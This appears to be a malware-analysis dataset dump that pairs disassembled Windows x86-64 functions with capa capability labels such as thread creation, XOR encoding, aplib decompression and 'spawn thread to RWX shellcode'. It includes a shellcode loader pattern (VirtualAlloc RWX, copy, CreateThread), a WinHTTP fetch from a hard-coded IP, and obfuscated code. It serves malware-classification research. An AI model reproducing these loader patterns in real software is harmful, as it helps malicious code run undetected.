joyce8/EMBER2024-capa huggingface dataset:
Function at 0x41ec20
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push r12
push rdi
push rsi
push rbx
sub rsp, 0x48
cmp dword [0x004e84e0], 1
je 0x41ec37
call fcn.0041ead0
mov ecx, dword [0x004b8158]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov r12, rax
test rax, rax
je 0x41ec60
mov rax, r12
add rsp, 0x48
pop rbx
pop rsi
pop rdi
pop r12
ret
call fcn.0041ea00
cmp qword [0x004eb050], 0
mov rbx, rax
je 0x41ec4b
test rax, rax
je 0x41ec4b
mov dword [rax + 0x44], 1
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
xor r9d, r9d
xor r8d, r8d
mov edx, 1
xor ecx, ecx
mov dword [rbx + 0x70], eax
call qword [sym.imp.KERNEL32.dll_CreateEventA]
mov qword [rbx + 0x38], 0xffffffffffffffff
lea rcx, [rbx + 0x68]
mov qword [rbx + 0x30], rax
call fcn.0041eb60
mov rdi, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov dword [rbx + 0xb8], 0
mov qword [rbx + 0x28], 0
call rdi
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov r12, rax
call rdi
mov dword [rsp + 0x30], 2
mov r8, rsi
mov rdx, r12
mov dword [rsp + 0x28], 0
mov rcx, rax
lea r9, [rbx + 0x28]
mov dword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_DuplicateHandle]
test eax, eax
je 0x4b7306
mov rcx, qword [rbx + 0x28]
call qword [sym.imp.KERNEL32.dll_GetThreadPriority]
mov ecx, dword [0x004b8158]
mov rdx, rbx
mov dword [rbx + 0xbc], 0
mov dword [rbx + 0xc0], eax
movzx eax, byte [rbx + 0x40]
and eax, 0xffffffcf
or eax, 0x10
mov byte [rbx + 0x40], al
call qword [sym.imp.KERNEL32.dll_TlsSetValue]
test eax, eax
je 0x4b7306
mov r12, rbx
mov rax, r12
add rsp, 0x48
pop rbx
pop rsi
pop rdi
pop r12
ret
call sub.msvcrt.dll_abort
nop
mov rax, qword [pe_dos_header]
ud2
Function at 0x420340
Capabilities:
Create thread
Resume thread

Disassembly:
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x40
mov rdi, rcx
mov rsi, rdx
mov rbx, r8
mov rbp, r9
call fcn.0041ea00
mov r12, rax
test rax, rax
je 0x4205b0
test rdi, rdi
je 0x42037a
mov rax, qword [rax + 0x1d8]
mov qword [rdi], rax
mov r13, qword [sym.imp.KERNEL32.dll_Sleep]
mov qword [r12 + 8], rbp
mov dword [r12 + 0x44], 1
mov rbp, qword [sym.imp.KERNEL32.dll_CreateEventA]
mov dword [r12 + 0xbc], 0
mov r14, r13
mov qword [r12 + 0x28], 0xffffffffffffffff
mov qword [r12 + 0x10], rbx
xor ebx, ebx
xor r9d, r9d
xor r8d, r8d
mov edx, 1
xor ecx, ecx
call rbp
mov qword [r12 + 0x30], rax
test rax, rax
jne 0x4203f0
test ebx, ebx
je 0x4203e8
mov ecx, 0x14
call r14
cmp ebx, 4
je 0x4203f0
add ebx, 1
jmp 0x4203b5
xor ecx, ecx
call r13
jmp 0x4203df
mov qword [r12 + 0x38], 0xffffffffffffffff
lea r14, [r12 + 0x68]
mov rcx, r14
call fcn.0041eb60
cmp qword [r12 + 0x30], 0
mov dword [r12], 0xbab1f00d
mov dword [r12 + 0xc0], 0
mov dword [r12 + 0xb8], 0
je 0x42055c
xor edx, edx
test rsi, rsi
je 0x420456
mov eax, dword [rsi]
mov edx, dword [rsi + 0x10]
mov dword [r12 + 0x44], eax
test al, 8
jne 0x420588
mov eax, dword [rsi + 0x18]
mov dword [r12 + 0xc0], eax
lea r8, [0x0041f0d0]
mov r9, r12
xor ecx, ecx
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 4
call qword [sym.imp.msvcrt.dll__beginthreadex]
mov r13, rax
lea rax, [rax - 1]
cmp rax, 0xfffffffffffffffd
ja 0x420528
mov eax, dword [r12 + 0xc0]
mov edx, 0xfffffff1
cmp eax, 0xfffffff2
jge 0x420500
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_SetThreadPriority]
mov rcx, qword [r12 + 0x30]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
test byte [r12 + 0x44], 4
jne 0x4204e0
mov qword [r12 + 0x28], r13
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_ResumeThread]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_Sleep]
xor eax, eax
add rsp, 0x40
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
ret
mov qword [r12 + 0x28], 0
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x4204c6
mov edx, 0xfffffffe
cmp eax, 0xffffffff
jl 0x42049c
mov edx, 0xf
cmp eax, 0xe
jg 0x42049c
cmp eax, 2
mov edx, 2
cmovle edx, eax
jmp 0x42049c
mov rcx, qword [r12 + 0x30]
test rcx, rcx
je 0x420538
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [r12 + 0x38]
call fcn.0041e240
mov rcx, r14
call fcn.0041eb60
mov qword [r12 + 0x30], 0
mov qword [r12 + 0x28], 0
test rdi, rdi
je 0x420568
mov qword [rdi], 0
mov rcx, r12
call fcn.0041e750
mov eax, 0xb
add rsp, 0x40
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
ret
mov dword [rsp + 0x3c], edx
call fcn.0041ec20
mov edx, dword [rsp + 0x3c]
mov eax, dword [rax + 0xc0]
mov dword [r12 + 0xc0], eax
jmp 0x420456
mov eax, 0xb
add rsp, 0x40
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
ret
Function at 0x47dc40
Capabilities:
Read file on windows

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rbp, qword [sym.imp.msvcrt.dll__errno]
mov rdi, rcx
mov rsi, rdx
mov ebx, r8d
jmp 0x47dc67
call rbp
cmp dword [rax], 4
jne 0x47dc84
mov rcx, rdi
call fcn.0047da40
mov r8d, ebx
mov rdx, rsi
mov ecx, eax
call sub.msvcrt.dll__read
movsxd r12, eax
cmp eax, 0xffffffff
je 0x47dc60
mov rax, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret

Function at 0x49ccc0
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
mov rax, rcx
lea r11, [rcx + 0x38c]
mov rdx, rcx
nop dword [rax]
mov r9d, dword [rdx]
mov r8d, dword [rdx + 4]
and r9d, 0x80000000
and r8d, 0x7fffffff
or r9d, r8d
mov r8d, r9d
shr r8d, 1
xor r8d, dword [rdx + 0x634]
mov r10d, r8d
xor r10d, 0x9908b0df
and r9d, 1
cmovne r8d, r10d
add rdx, 4
mov dword [rdx - 4], r8d
cmp r11, rdx
jne 0x49ccd0
lea r10, [rcx + 0x630]
nop dword [rax + rax]
mov r8d, dword [rax + 0x38c]
mov edx, dword [rax + 0x390]
and r8d, 0x80000000
and edx, 0x7fffffff
or r8d, edx
mov edx, r8d
shr edx, 1
xor edx, dword [rax]
mov r9d, edx
xor r9d, 0x9908b0df
and r8d, 1
cmovne edx, r9d
add rax, 4
mov dword [rax + 0x388], edx
cmp r10, rax
jne 0x49cd20
mov edx, dword [rcx + 0x9bc]
mov eax, dword [rcx]
mov qword [rcx + 0x9c0], 0
and eax, 0x7fffffff
and edx, 0x80000000
or edx, eax
mov eax, edx
shr eax, 1
xor eax, dword [rcx + 0x630]
mov r8d, eax
xor r8d, 0x9908b0df
and edx, 1
cmovne eax, r8d
mov dword [rcx + 0x9bc], eax
ret

Function at 0x4adf50
Capabilities:
Encode data using xor

Disassembly:
movabs r9, 0xc6a4a7935bd1e995
mov rax, rdx
mov r11, rdx
imul rax, r9
and r11, 0xfffffffffffffff8
add r11, rcx
xor rax, r8
cmp rcx, r11
je 0x4adfa0
nop dword [rax + rax]
mov r10, qword [rcx]
add rcx, 8
imul r10, r9
mov r8, r10
shr r8, 0x2f
xor r8, r10
imul r8, r9
xor r8, rax
mov rax, r8
imul rax, r9
cmp r11, rcx
jne 0x4adf78
and edx, 7
je 0x4adfd5
sub edx, 1
xor r8d, r8d
movsxd rdx, edx
nop
movzx ecx, byte [r11 + rdx]
shl r8, 8
sub rdx, 1
add r8, rcx
test edx, edx
jns 0x4adfb0
xor r8, rax
movabs rax, 0xc6a4a7935bd1e995
imul rax, r8
mov r8, rax
shr r8, 0x2f
xor rax, r8
movabs r8, 0xc6a4a7935bd1e995
imul rax, r8
mov r8, rax
shr r8, 0x2f
xor rax, r8
ret
Function at 0x140001000
Capabilities:
Allocate or change rwx memory
Create thread
Spawn thread to rwx shellcode

Disassembly:
push rsi
push rdi
sub rsp, 0x58
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0xc50
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rsp + 0x38], rax
lea rax, section..data
mov rdi, qword [rsp + 0x38]
mov rsi, rax
mov ecx, 0xc50
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0x30]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x38]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rsp + 0x40], rax
mov edx, 0xffffffff
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
add rsp, 0x58
pop rdi
pop rsi
ret
Function at 0x140002b60
Capabilities:
Allocate or change rwx memory

Disassembly:
jmp 0x140002b60
mov dword [rsp + 8], ecx
push rdi
sub rsp, 0x20
mov rdi, rsp
mov ecx, 8
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov ecx, dword [rsp + 0x30]
movsxd rax, dword [rsp + 0x30]
mov r9d, 0x40
mov r8d, 0x1000
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
add rsp, 0x20
pop rdi
ret

Function at 0x140043654
Capabilities:
Terminate process

Disassembly:
xor r8d, r8d
xor edx, edx
jmp fcn.1400434bc
Function at 0x14071b0b0
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.14071b237
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x14071b0e1
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x14071b0c7
add dl, dl
jne 0x14071b0ee
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x14071b14e
xor eax, eax
add dl, dl
jne 0x14071b0fd
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x14071b205
add dl, dl
jne 0x14071b10e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x14071b11b
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x14071b128
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x14071b135
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x14071b142
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x14071b0d6
mov eax, 1
add dl, dl
jne 0x14071b15e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x14071b16b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x14071b153
sub eax, ebx
mov ebx, 1
jne 0x14071b1a4
mov ecx, 1
add dl, dl
jne 0x14071b186
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x14071b193
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x14071b17b
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14071b0d6
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x14071b1c0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x14071b1cd
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x14071b1b5
cmp eax, 0x7d00
jae 0x14071b1f3
cmp eax, 0x500
jb 0x14071b1ee
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14071b0d6
cmp eax, 0x7f
ja 0x14071b1f6
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14071b0d6
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x14071b22a
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x14071b0d6
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x140013acc
Capabilities:
Copy file

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rbp
push rdi
push r14
mov rbp, rsp
sub rsp, 0x70
mov rax, qword [0x140044038]
xor rax, rsp
mov qword [rbp - 8], rax
mov r14, rcx
xor ebx, ebx
mov dword [rbp - 0x50], ebx
lea rcx, [rbp - 0x48]
call fcn.1400024c0
nop
lea rcx, [rbp - 0x48]
call fcn.14000a5f4
lea r8, [rbp - 0x48]
mov rdx, r14
lea rcx, [rbp - 0x48]
call fcn.14000a3d4
lea rcx, [rbp - 0x48]
call fcn.1400085e0
lea edi, [rbx + 1]
test al, al
jne 0x140013bc0
lea rcx, [rbp - 0x48]
call fcn.140007048
lea rdx, str.sfxname
lea rcx, [rbp - 0x28]
call fcn.140001b9c
nop
mov dword [rbp - 0x50], edi
lea rdx, [rbp - 0x48]
lea rcx, [rbp - 0x28]
call fcn.140012ecc
test al, al
je 0x140013b6c
lea rcx, [rbp - 0x48]
call fcn.14000694c
test al, al
mov sil, bl
je 0x140013b6f
mov sil, dil
mov eax, edi
and eax, 0xfffffffe
mov dword [rbp - 0x50], eax
lea rcx, [rbp - 0x28]
call fcn.140002050
test sil, sil
jne 0x140013bc0
mov rdx, r14
lea rcx, [rbp - 0x48]
call fcn.14000a2e8
lea rcx, [rbp - 0x48]
call fcn.1400085e0
test al, al
je 0x140013bc3
mov rcx, r14
call fcn.1400018c0
mov rdx, rax
lea rcx, [rbp - 0x48]
call fcn.1400018c0
mov r8d, edi
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CopyFileW]
jmp 0x140013bc6
mov bl, dil
mov dil, bl
lea rcx, [rbp - 0x48]
call fcn.140002050
mov al, dil
mov rcx, qword [rbp - 8]
xor rcx, rsp
call fcn.1400143a0
lea r11, [rsp + 0x70]
mov rbx, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rsp, r11
pop r14
pop rdi
pop rbp
ret

Function at 0x140015404
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14001544e
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14001544e
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14001544e
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14001544e
cmp dword [rcx + 0x84], 0xe
jbe 0x14001544e
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140015450
xor al, al
add rsp, 0x28
ret

Function at 0x140021278
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x140021074
Function at 0x10000124c
Capabilities:
Terminate process

Disassembly:
sub rsp, 0x28
call fcn.100001180
add rsp, 0x28
jmp 0x100001270
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], r12
push r13
sub rsp, 0xb0
xor ebx, ebx
mov dword [rsp + 0x20], ebx
lea rcx, [rax - 0x78]
call qword [sym.imp.KERNEL32.dll_GetStartupInfoW]
nop
mov rax, qword gs:[0x30]
mov rdi, qword [rax + 8]
mov r12d, ebx
xor eax, eax
lock cmpxchg qword [section..data], rdi
jne 0x10000169f
mov eax, dword [0x100003014]
cmp eax, 1
je 0x1000016bf
mov eax, dword [0x100003014]
cmp eax, ebx
jne 0x1000016d6
mov dword [0x100003014], 1
lea r13, [0x100002168]
lea rdi, [0x100002150]
mov qword [rsp + 0x30], rdi
mov eax, ebx
mov dword [rsp + 0x24], ebx
cmp rdi, r13
jae 0x10000131c
cmp eax, ebx
jne 0x10000131c
mov rcx, qword [rdi]
cmp rcx, rbx
je 0x100001311
call rcx
mov dword [rsp + 0x24], eax
add rdi, 8
mov qword [rsp + 0x30], rdi
jmp 0x1000012fa
cmp eax, ebx
jne 0x1000016cc
mov eax, dword [0x100003014]
cmp eax, 1
jne 0x10000134c
lea rdx, [0x100002148]
lea rcx, [0x100002138]
call fcn.10012c000
mov dword [0x100003014], 2
cmp r12d, ebx
jne 0x10000135b
mov rax, rbx
xchg qword [section..data], rax
cmp qword [0x1000035d8], rbx
jne 0x1000016e5
mov rcx, qword [sym.imp.msvcrt.dll__wcmdln]
cmp qword [rcx], rbx
je 0x10000170e
mov rcx, qword [rcx]
mov qword [rsp + 0x28], rcx
mov edx, dword [rsp + 0x20]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp word [rcx], 0x20
jbe 0x1000013ab
cmp word [rcx], 0x22
je 0x100001741
add rcx, 2
mov qword [rsp + 0x28], rcx
jmp 0x100001390
cmp word [rcx], bx
je 0x1000013b4
cmp edx, ebx
jne 0x100001396
cmp word [rcx], bx
je 0x1000013ca
cmp word [rcx], 0x20
ja 0x1000013ca
add rcx, 2
mov qword [rsp + 0x28], rcx
jmp 0x1000013b4
test byte [rsp + 0x7c], 1
movzx eax, word [rsp + 0x80]
mov r9d, 0xa
cmovne r9d, eax
mov r8, rcx
xor edx, edx
lea rcx, [0x100000000]
call fcn.100001400
nop
jmp 0x100001715
cmp rax, rdi
jne 0x1000016af
mov r12d, 1
jmp 0x1000012ba
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x1000012a9
lea ecx, [rax + 0x1e]
call sub.msvcrt.dll__amsg_exit
jmp 0x100001324
mov eax, 0xff
jmp 0x100001780
mov dword [0x1000036e4], 1
jmp 0x100001324
lea rcx, [0x1000035d8]
call fcn.1000018fc
cmp eax, ebx
je 0x100001368
xor r8d, r8d
lea edx, [r8 + 2]
xor ecx, ecx
call qword [0x1000035d8]
nop
jmp 0x100001368
mov eax, 0xff
jmp 0x100001780
mov dword [0x1000036e0], eax
cmp dword [0x100003008], ebx
jne 0x10000172b
mov ecx, eax
call qword [sym.imp.msvcrt.dll_exit]
cmp dword [0x1000036e4], ebx
jne 0x10000173f
call qword [sym.imp.msvcrt.dll__cexit]
mov eax, dword [0x1000036e0]
jmp 0x100001780
mov eax, ebx
cmp edx, ebx
sete al
mov edx, eax
mov dword [rsp + 0x20], eax
jmp 0x1000013a0
lea r11, [rsp + 0xb0]
mov rbx, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x18]
mov r12, qword [r11 + 0x20]
mov rsp, r11
pop r13
ret
Function at 0x140001000
Capabilities:
Initialize winhttp library
Prepare http request
Receive http response

Disassembly:
push rbx
push rdi
push r12
push r14
push r15
sub rsp, 0x50
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov r14, qword [rsp + 0xa0]
xor r12d, r12d
xor r9d, r9d
mov dword [rsp + 0x40], r12d
xor r8d, r8d
mov dword [rsp + 0x44], r12d
xor edx, edx
mov dword [rsp + 0x20], r12d
xor ecx, ecx
mov ebx, r12d
mov edi, r12d
call qword [sym.imp.WINHTTP.dll_WinHttpOpen]
mov r15, rax
test rax, rax
je 0x1400011ff
lea r8d, [r12 + 0x50]
mov qword [rsp + 0x80], rbp
xor r9d, r9d
lea rdx, str.54.255.171.65
mov rcx, rax
call qword [sym.imp.WINHTTP.dll_WinHttpConnect]
mov rbp, rax
test rax, rax
je 0x1400011c0
mov dword [rsp + 0x30], 0x100
lea r8, str._api_stats.json
mov qword [rsp + 0x28], r12
lea rdx, [0x1400032c0]
xor r9d, r9d
mov qword [rsp + 0x20], r12
mov rcx, rax
mov qword [rsp + 0x88], rsi
call qword [sym.imp.WINHTTP.dll_WinHttpOpenRequest]
mov rsi, rax
test rax, rax
je 0x1400011af
mov qword [rsp + 0x30], r12
xor r9d, r9d
mov dword [rsp + 0x28], r12d
xor r8d, r8d
xor edx, edx
mov dword [rsp + 0x20], r12d
mov rcx, rax
call qword [sym.imp.WINHTTP.dll_WinHttpSendRequest]
test eax, eax
je 0x1400011a6
xor edx, edx
mov rcx, rsi
call qword [sym.imp.WINHTTP.dll_WinHttpReceiveResponse]
test eax, eax
je 0x1400011a6
test r14, r14
je 0x1400011a6
mov qword [rsp + 0x90], r13
lea r13, [r12 - 1]
nop word [rax + rax]
lea rdx, [rsp + 0x40]
mov dword [rsp + 0x40], r12d
mov rcx, rsi
mov dword [rsp + 0x44], r12d
call qword [sym.imp.WINHTTP.dll_WinHttpQueryDataAvailable]
test eax, eax
je 0x14000119b
test rdi, rdi
jne 0x140001154
mov ecx, dword [rsp + 0x40]
add ecx, 1
cmovb rcx, r13
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
jmp 0x14000116a
mov edx, dword [rsp + 0x40]
mov rcx, rdi
add edx, ebx
add edx, 1
cmovb rdx, r13
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_realloc]
test rax, rax
je 0x14000119b
mov r8d, dword [rsp + 0x40]
lea r9, [rsp + 0x44]
mov edx, ebx
mov rcx, rsi
add rdx, rax
mov rdi, rax
call qword [sym.imp.WINHTTP.dll_WinHttpReadData]
test eax, eax
je 0x14000119b
add ebx, dword [rsp + 0x44]
cmp dword [rsp + 0x40], r12d
ja 0x140001120
jmp 0x14000119e
mov ebx, r12d
mov r13, qword [rsp + 0x90]
mov rcx, rsi
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov rcx, rbp
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov rsi, qword [rsp + 0x88]
mov rcx, r15
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov rbp, qword [rsp + 0x80]
test ebx, ebx
jne 0x1400011ff
test rdi, rdi
je 0x1400011ff
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov eax, ebx
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.1400013e0
add rsp, 0x50
pop r15
pop r14
pop r12
pop rdi
pop rbx
ret
test r14, r14
je 0x1400011e3
mov eax, ebx
test rdi, rdi
je 0x1400011e5
mov qword [r14], rdi
jmp 0x1400011e5
Function at 0x181241dac
Capabilities:
Encode data using xor

Disassembly:
add r11, 0xc
jmp 0x18125bfbe
xor r9d, r9d
test rbp, rbp
lea rsp, [rsp + 8]
je 0x18125c01f
push r10
mov ecx, 0xfd378822
not rcx
lea rcx, [0x181270208]
movzx r10d, byte [rdx]
push 0x450e481a
xor r10d, r9d
and r10d, 0xff
mov r10d, dword [rcx + r10*4]
shr r9d, 8
xor r9d, r10d
inc rdx
xor r9d, 0x96292b97
dec rbp
lea rsp, [rsp + 8]
jne 0x18125bfe0
push 0x2427ae1f
pop r10
pop r10
call fcn.18124bf7d
call fcn.18123e859

Function at 0x18126fcba
Capabilities:
Encode data using xor

Disassembly:
mov rsp, rsi
call fcn.18124dcbd
add byte [rax], al
add byte [rax], al
add byte [rax], al
sub al, 0x4f
sub al, 0x63
mov edx, 0x142b7f
and cl, byte cs:[rbp - 0x5dae16a]
xor eax, 0xa364418b
mov ebx, 0xea191346
mov r9b, byte [r15 + 0x1efd48da]
invalid

Function at 0x18127521f
Capabilities:
Encode data using xor

Disassembly:
mov si, word [r10 + rbp*2 - 0x106]
xor ebp, ebp
lea rbp, [rbp*4 - 0x26dfc764]
neg bp
lea r10, [r10 + rbp*2 + 0x4dbe713a]
dec ebp
rol bpl, 0x66
not ebp
movzx ebp, byte [rdi + rbp*2 - 0x4dbe704e]
adc rdi, 1
xor bpl, r8b
dec bpl
push 0xffffffffc71a778b
rol bpl, 1
inc bpl
not bpl
sar byte [rsp + 4], 0x81
xor r8b, bpl
sal qword [rsp], 0xc2
lea rbp, [rsp + rbp + 8]
not qword [rsp]
mov byte [rbp + riz], sil
push 0xffffffffa3ab07ae
lea rsp, [rsp + 0x10]
js fcn.181252c4b
dec edi
mov qword [rsp + rsi - 0xb50e], 0xffffffffbcbfa183
bswap edi
pop r14
xchg si, r14w
lea edi, [rdi + r14 - 0x20f3d4c2]
add sil, r14b
push rcx
lea r14d, [r14 + 0x63404af2]
movsx r11d, sil
sal si, 0x42
call fcn.181242738
mov esi, 0xbc9d8e83
movzx ebp, sil
jmp 0x18123c2c6
Function at 0x140001230
Capabilities:
Encode data using xor

Disassembly:
push rbx
sub rsp, 0x70
mov rax, qword [0x140044040]
xor rax, rsp
mov qword [rsp + 0x68], rax
mov rbx, rcx
xor edx, edx
mov ecx, 0x5c
call fcn.140001220
lea edx, [rcx - 0x5b]
mov word [rsp + 0x40], ax
call fcn.140001220
lea ecx, [rdx + 0x2d]
mov word [rsp + 0x42], ax
lea edx, [rcx - 0x2c]
call fcn.140001220
lea ecx, [rdx + 0x5a]
mov word [rsp + 0x44], ax
lea edx, [rcx - 0x59]
call fcn.140001220
lea ecx, [rdx + 0x42]
mov word [rsp + 0x46], ax
lea edx, [rcx - 0x41]
call fcn.140001220
lea ecx, [rdx + 0x45]
mov word [rsp + 0x48], ax
lea edx, [rcx - 0x44]
call fcn.140001220
lea ecx, [rdx + 0x4c]
mov word [rsp + 0x4a], ax
lea edx, [rcx - 0x4b]
call fcn.140001220
lea ecx, [rdx + 0x3e]
mov word [rsp + 0x4c], ax
lea edx, [rcx - 0x3d]
call fcn.140001220
lea ecx, [rdx + 0x4f]
mov word [rsp + 0x4e], ax
lea edx, [rcx - 0x4e]
call fcn.140001220
xor ecx, ecx
mov word [rsp + 0x50], ax
lea edx, [rcx + 9]
call fcn.140001220
lea edx, [rcx + 0xa]
mov word [rsp + 0x52], ax
movzx ecx, word [0x14003e35c]
call fcn.140001220
movzx ecx, word [0x14003e35e]
mov edx, 0xb
mov word [rsp + 0x54], ax
call fcn.140001220
movzx ecx, word [str.Unknown_exception]
mov edx, 0xc
mov word [rsp + 0x56], ax
call fcn.140001220
movzx ecx, word [0x14003e362]
mov edx, 0xd
mov word [rsp + 0x58], ax
call fcn.140001220
movzx ecx, word [0x14003e364]
mov edx, 0xe
mov word [rsp + 0x5a], ax
call fcn.140001220
movzx ecx, word [0x14003e366]
mov edx, 0xf
mov word [rsp + 0x5c], ax
call fcn.140001220
movzx ecx, word [0x14003e368]
mov edx, 0x10
mov word [rsp + 0x5e], ax
call fcn.140001220
movzx ecx, word [0x14003e36a]
mov edx, 0x11
mov word [rsp + 0x60], ax
call fcn.140001220
movzx ecx, word [0x14003e36c]
mov edx, 0x12
mov word [rsp + 0x62], ax
call fcn.140001220
mov word [rsp + 0x64], ax
mov r9d, 0x133
xor eax, eax
mov word [rsp + 0x66], ax
xor r10d, r10d
nop dword [rax]
movsxd rcx, eax
lea rdx, [rsp + 0x40]
lea rdx, [rdx + rcx*2]
lea ecx, [r9 + rax]
inc eax
xor word [rdx], cx
cmp eax, 0x13
jb 0x1400013c0
mov qword [rsp + 0x30], r10
lea rcx, [rsp + 0x40]
xor r9d, r9d
mov dword [rsp + 0x28], r10d
mov edx, 0xc0000000
mov word [rsp + 0x66], r10w
mov dword [rsp + 0x20], 3
lea r8d, [r9 + 3]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rbx + 8], rax
mov rcx, qword [rsp + 0x68]
xor rcx, rsp
call fcn.14000e2c0
add rsp, 0x70
pop rbx
ret